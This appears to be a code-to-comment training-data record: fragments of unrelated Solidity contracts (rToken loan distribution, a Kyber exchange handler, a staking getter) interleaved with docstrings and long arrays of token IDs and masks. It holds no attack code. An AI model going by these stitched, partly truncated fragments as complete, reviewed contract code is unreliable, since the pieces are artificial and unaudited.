* Recipient also inherits the owner's hat if it does already have one.
* @param owner Owner account address
* @param rAmount rToken amount being loaned to the recipients
* @param sInternalAmount Amount of saving assets (internal amount) being given to the recipients
*/
function distributeLoans(
address owner,
uint256 rAmount,
uint256 sInternalAmount) internal {
aAccount storage account = accounts[owner];
Patron storage hat = hats[account.hatID == SELF_HAT_ID ? 0 : account.hatID];
bool[] memory recipientsNeedsNewHat = new bool[](hat.recipients.length);
uint i;
if (hat.recipients.length > 0) {
uint256 rLeft = rAmount;
uint256 sInternalLeft = sInternalAmount;
for (i = 0; i < hat.proportions.length; ++i) {
aAccount storage recipient = accounts[hat.recipients[i]];
bool isLastRecipient = i == (hat.proportions.length - 1);
// inherit the hat if needed
if (recipient.hatID == 0) {
recipientsNeedsNewHat[i] = true;
}
uint256 lDebtRecipient = isLastRecipient ? rLeft : rAmount * hat.proportions[i] / PROPORTION_BASE;
account.lRecipients[hat.recipients[i]] = account.lRecipients[hat.recipients[i]].add(lDebtRecipient);
recipient.lDebt = recipient.lDebt.add(lDebtRecipient);
// leftover adjustments
if (rLeft > lDebtRecipient) {
rLeft -= lDebtRecipient;
} else {
rLeft = 0;
}
uint256 sInternalAmountRecipient = isLastRecipient ? sInternalLeft: sInternalAmount * hat.proportions[i] / PROPORTION_BASE;
recipient.sInternalAmount = recipient.sInternalAmount.add(sInternalAmountRecipient);
// leftover adjustments
if (sInternalLeft >= sInternalAmountRecipient) {
sInternalLeft -= sInternalAmountRecipient;
} else {
rLeft = 0;
}
}
} else {
// Account uses the zero hat, give all interest to the owner
account.lDebt = account.lDebt.add(rAmount);
account.sInternalAmount = account.sInternalAmount.add(sInternalAmount);
}
// apply to new hat owners
for (i = 0; i < hat.proportions.length; ++i) {
if (recipientsNeedsNewHat[i]) {
changeHatInternal(hat.recipients[i], account.hatID);
}
}
}
/**
* @dev Recollect loans from the recipients for further distribution
* without actually redeeming the saving assets
* @param owner Owner account address
* @param rAmount rToken amount neeeds to be recollected from the recipients
* by giving back estimated amount of saving assets
* @return Estimated amount of saving assets (internal) needs to recollected
*/
function estimateAndRecollectLoans(
address owner,
uint256 rAmount) internal returns (uint256 sInternalAmount) {
aAccount storage account = accounts[owner];
Patron storage hat = hats[account.hatID == SELF_HAT_ID ? 0 : account.hatID];
// accrue interest so estimate is up to date
ias.accrueInterest();
sInternalAmount = rAmount
.mul(savingAssetConversionRate)
.div(ias.exchangeRateStored()); // the 1e18 decimals should be cancelled out
recollectLoans(account, hat, rAmount, sInternalAmount);
}
/**
* @dev Recollect loans from the recipients for further distribution
* by redeeming the saving assets in `rAmount`
* @param owner Owner account address
* @param rAmount rToken amount neeeds to be recollected from the recipients
* by redeeming equivalent value of the saving assets
* @return Amount of saving assets redeemed for rAmount of tokens.
*/
function redeemAndRecollectLoans(
address owner,
uint256 rAmount) internal returns (uint256 sOriginalBurned) {
aAccount storage account = accounts[owner];
Patron storage hat = hats[account.hatID == SELF_HAT_ID ? 0 : account.hatID];
sOriginalBurned = ias.redeemUnderlying(rAmount);
uint256 sInternalBurned = sOriginalBurned
.mul(savingAssetConversionRate)
.div(10 ** 18);
recollectLoans(account, hat, rAmount, sInternalBurned);
}
/**
* @dev Recollect loan from the recipients
* @param account Owner account
* @param hat Owner's hat
* @param rAmount rToken amount being written of from the recipients
* @param sInternalAmount Amount of sasving assets (internal amount) recollected from the recipients
*/
function recollectLoans(
aAccount storage account,
Patron storage hat,
uint256 rAmount,
uint256 sInternalAmount) internal {
uint i;
if (hat.recipients.length > 0) {
uint256 rLeft = rAmount;
uint256 sInternalLeft = sInternalAmount;
for (i = 0; i < hat.proportions.length; ++i) {
aAccount storage recipient = accounts[hat.recipients[i]];
bool isLastRecipient = i == (hat.proportions.length - 1);
uint256 lDebtRecipient = isLastRecipient ? rLeft: rAmount * hat.proportions[i] / PROPORTION_BASE;
if (recipient.lDebt > lDebtRecipient) {
recipient.lDebt -= lDebtRecipient;
} else {
recipient.lDebt = 0;
}
if (account.lRecipients[hat.recipients[i]] > lDebtRecipient) {
account.lRecipients[hat.recipients[i]] -= lDebtRecipient;
} else {
account.lRecipients[hat.recipients[i]] = 0;
}
// leftover adjustments
if (rLeft > lDebtRecipient) {
rLeft -= lDebtRecipient;
} else {
rLeft = 0;
}
uint256 sInternalAmountRecipient = isLastRecipient ? sInternalLeft: sInternalAmount * hat.proportions[i] / PROPORTION_BASE;
if (recipient.sInternalAmount > sInternalAmountRecipient) {
recipient.sInternalAmount -= sInternalAmountRecipient;
} else {
recipient.sInternalAmount = 0;
}
// leftover adjustments
if (sInternalLeft >= sInternalAmountRecipient) {
sInternalLeft -= sInternalAmountRecipient;
} else {
rLeft = 0;
}
}
} else {
// Account uses the zero hat, recollect interests from the owner
if (account.lDebt > rAmount) {
account.lDebt -= rAmount;
} else {
account.lDebt = 0;
}
if (account.sInternalAmount > sInternalAmount) {
account.sInternalAmount -= sInternalAmount;
} else {
account.sInternalAmount = 0;
}
}
}
/**
* @dev pay interest to the owner
* @param owner Account owner address
*/
function payInterestInternal(address owner) internal {
aAccount storage account = accounts[owner];
ias.accrueInterest();
uint256 interestAmount = getInterestPayableOf(account);
if (interestAmount > 0) {
account.cumulativeInterest = account.cumulativeInterest.add(interestAmount);
account.rInterest = account.rInterest.add(interestAmount);
account.rAmount = account.rAmount.add(interestAmount);
totalSupply = totalSupply.add(interestAmount);
emit InterestPaid(owner, interestAmount);
emit Transfer(address(this), owner, interestAmount);
}
}
} | @dev IRToken.getSavingAssetBalance implementation | function getSavingAssetBalance() external view
returns (uint256 nAmount, uint256 sAmount) {
sAmount = savingAssetOrignalAmount;
nAmount = sAmount
.mul(ias.exchangeRateStored())
.div(10 ** 18);
}
| 6,352,110 | [
1,
7937,
1345,
18,
588,
24660,
6672,
13937,
4471,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1322,
5339,
6672,
13937,
1435,
3903,
1476,
203,
3639,
1135,
261,
11890,
5034,
290,
6275,
16,
2254,
5034,
272,
6275,
13,
288,
203,
3639,
272,
6275,
273,
12392,
6672,
1162,
724,
287,
6275,
31,
203,
3639,
290,
6275,
273,
272,
6275,
203,
5411,
263,
16411,
12,
1795,
18,
16641,
4727,
18005,
10756,
203,
5411,
263,
2892,
12,
2163,
2826,
6549,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0xe4921cf0656B687658FbaF6a5817FF12A4A4F00A/sources/Hello.sol | solium-disable-line uppercase
| string public constant name = "Hello"; | 5,155,900 | [
1,
18281,
5077,
17,
8394,
17,
1369,
18966,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
533,
1071,
5381,
508,
273,
315,
18601,
14432,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.21;
/// @title Interface for all exchange handler contracts
interface ExchangeHandler {
/// @dev Get the available amount left to fill for an order
/// @param orderAddresses Array of address values needed for this DEX order
/// @param orderValues Array of uint values needed for this DEX order
/// @param exchangeFee Value indicating the fee for this DEX order
/// @param v ECDSA signature parameter v
/// @param r ECDSA signature parameter r
/// @param s ECDSA signature parameter s
/// @return Available amount left to fill for this order
function getAvailableAmount(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
/// @dev Perform a buy order at the exchange
/// @param orderAddresses Array of address values needed for each DEX order
/// @param orderValues Array of uint values needed for each DEX order
/// @param exchangeFee Value indicating the fee for this DEX order
/// @param amountToFill Amount to fill in this order
/// @param v ECDSA signature parameter v
/// @param r ECDSA signature parameter r
/// @param s ECDSA signature parameter s
/// @return Amount filled in this order
function performBuy(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
) external payable returns (uint256);
/// @dev Perform a sell order at the exchange
/// @param orderAddresses Array of address values needed for each DEX order
/// @param orderValues Array of uint values needed for each DEX order
/// @param exchangeFee Value indicating the fee for this DEX order
/// @param amountToFill Amount to fill in this order
/// @param v ECDSA signature parameter v
/// @param r ECDSA signature parameter r
/// @param s ECDSA signature parameter s
/// @return Amount filled in this order
function performSell(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract Token is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/Kyber.sol
interface Kyber {
function trade(Token src, uint srcAmount, Token dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId) public payable returns (uint);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface ENSResolver {
function resolve(bytes32 node) public view returns (address);
}
contract KyberHandler is ExchangeHandler, Ownable {
// State variables
address public totlePrimary;
ENSResolver public ensResolver;
Token constant public ETH_TOKEN_ADDRESS = Token(0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
bytes32 constant public kyberHash = 0xff4ab868fec98e1be4e10e14add037a8056132cf492bec627457a78c21f7531f;
modifier onlyTotle() {
require(msg.sender == totlePrimary);
_;
}
// Constructor
function KyberHandler(
address _totlePrimary,
address _ensResolver
) public {
require(_totlePrimary != address(0x0));
require(_ensResolver != address(0x0));
totlePrimary = _totlePrimary;
ensResolver = ENSResolver(_ensResolver);
}
// Public functions
function getAvailableAmount(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256) {
// return amountToGive
return orderValues[0];
}
function performBuy(
address[8] orderAddresses, // 0: tokenToGet (dest), 1: destAddress (primary), 2: walletId
uint256[6] orderValues, // 0: srcAmount (amountToGive), 1: dstAmount (amountToGet), 2: maxDestAmount, 3: minConversionRate
uint256 exchangeFee, // ignore
uint256 amountToFill, // ignore
uint8 v, // ignore
bytes32 r, // ignore
bytes32 s // ignore
) external payable onlyTotle returns (uint256) {
require(msg.value == orderValues[0]);
uint256 tokenAmountObtained = trade(
ETH_TOKEN_ADDRESS, // ERC20 src
orderValues[0], // uint srcAmount
Token(orderAddresses[0]), // ERC20 dest
orderAddresses[1], // address destAddress (where tokens are sent to after trade)
orderValues[2], // uint maxDestAmount
orderValues[3], // uint minConversionRate
orderAddresses[2] // address walletId
);
// If Kyber has sent us back some excess ether
if(this.balance > 0) {
msg.sender.transfer(this.balance);
}
return tokenAmountObtained;
}
function performSell(
address[8] orderAddresses, // 0: tokenToGive (src), 1: destAddress (primary), 2: walletId
uint256[6] orderValues, // 0: srcAmount (amountToGive), 1: dstAmount (amountToGet), 2: maxDestAmount, 3: minConversionRate
uint256 exchangeFee, // ignore
uint256 amountToFill, // ignore
uint8 v, // ignore
bytes32 r, // ignore
bytes32 s // ignore
) external onlyTotle returns (uint256) {
require(Token(orderAddresses[0]).approve(resolveExchangeAddress(), orderValues[0]));
uint256 etherAmountObtained = trade(
Token(orderAddresses[0]), // ERC20 src
orderValues[0], // uint srcAmount
ETH_TOKEN_ADDRESS, // ERC20 dest
orderAddresses[1], // address destAddress (where tokens are sent to after trade)
orderValues[2], // uint maxDestAmount
orderValues[3], // uint minConversionRate
orderAddresses[2] // address walletId
);
return etherAmountObtained;
}
function trade(
Token src,
uint srcAmount,
Token dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
) internal returns (uint256) {
uint256 valToSend = 0;
if(src == ETH_TOKEN_ADDRESS) {
valToSend = srcAmount;
}
Kyber exchange = Kyber(resolveExchangeAddress());
return exchange.trade.value(valToSend)(
src,
srcAmount,
dest,
destAddress,
maxDestAmount,
minConversionRate,
walletId
);
}
function resolveExchangeAddress() internal view returns (address) {
return ensResolver.resolve(kyberHash);
}
function withdrawToken(address _token, uint _amount) external onlyOwner returns (bool) {
return Token(_token).transfer(owner, _amount);
}
function withdrawETH(uint _amount) external onlyOwner returns (bool) {
owner.transfer(_amount);
}
function setTotle(address _totlePrimary) external onlyOwner {
require(_totlePrimary != address(0x0));
totlePrimary = _totlePrimary;
}
function() public payable {
// Check in here that the sender is a contract! (to stop accidents)
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
require(size > 0);
}
} | @title Interface for all exchange handler contracts | interface ExchangeHandler {
function getAvailableAmount(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
function performBuy(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
) external payable returns (uint256);
function performSell(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
}
| 443,314 | [
1,
1358,
364,
777,
7829,
1838,
20092,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
18903,
1503,
288,
203,
203,
565,
445,
15796,
6275,
12,
203,
3639,
1758,
63,
28,
65,
1353,
7148,
16,
203,
3639,
2254,
5034,
63,
26,
65,
1353,
1972,
16,
203,
3639,
2254,
5034,
7829,
14667,
16,
203,
3639,
2254,
28,
331,
16,
203,
3639,
1731,
1578,
436,
16,
203,
3639,
1731,
1578,
272,
203,
565,
262,
3903,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
3073,
38,
9835,
12,
203,
3639,
1758,
63,
28,
65,
1353,
7148,
16,
203,
3639,
2254,
5034,
63,
26,
65,
1353,
1972,
16,
203,
3639,
2254,
5034,
7829,
14667,
16,
203,
3639,
2254,
5034,
3844,
774,
8026,
16,
203,
3639,
2254,
28,
331,
16,
203,
3639,
1731,
1578,
436,
16,
203,
3639,
1731,
1578,
272,
203,
565,
262,
3903,
8843,
429,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
3073,
55,
1165,
12,
203,
3639,
1758,
63,
28,
65,
1353,
7148,
16,
203,
3639,
2254,
5034,
63,
26,
65,
1353,
1972,
16,
203,
3639,
2254,
5034,
7829,
14667,
16,
203,
3639,
2254,
5034,
3844,
774,
8026,
16,
203,
3639,
2254,
28,
331,
16,
203,
3639,
1731,
1578,
436,
16,
203,
3639,
1731,
1578,
272,
203,
565,
262,
3903,
1135,
261,
11890,
5034,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/4/0xf4692808249aED810850c44CDbecB527413333Bb/sources/BondlyStaking.sol | * @notice get the earlyWithdrawal @return earlyWithdrawal/ | function getEarlyWithdrawal() public view returns (uint256) {
return earlyWithdrawal;
}
| 8,553,756 | [
1,
588,
326,
11646,
1190,
9446,
287,
327,
11646,
1190,
9446,
287,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4774,
20279,
1190,
9446,
287,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
11646,
1190,
9446,
287,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: None
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
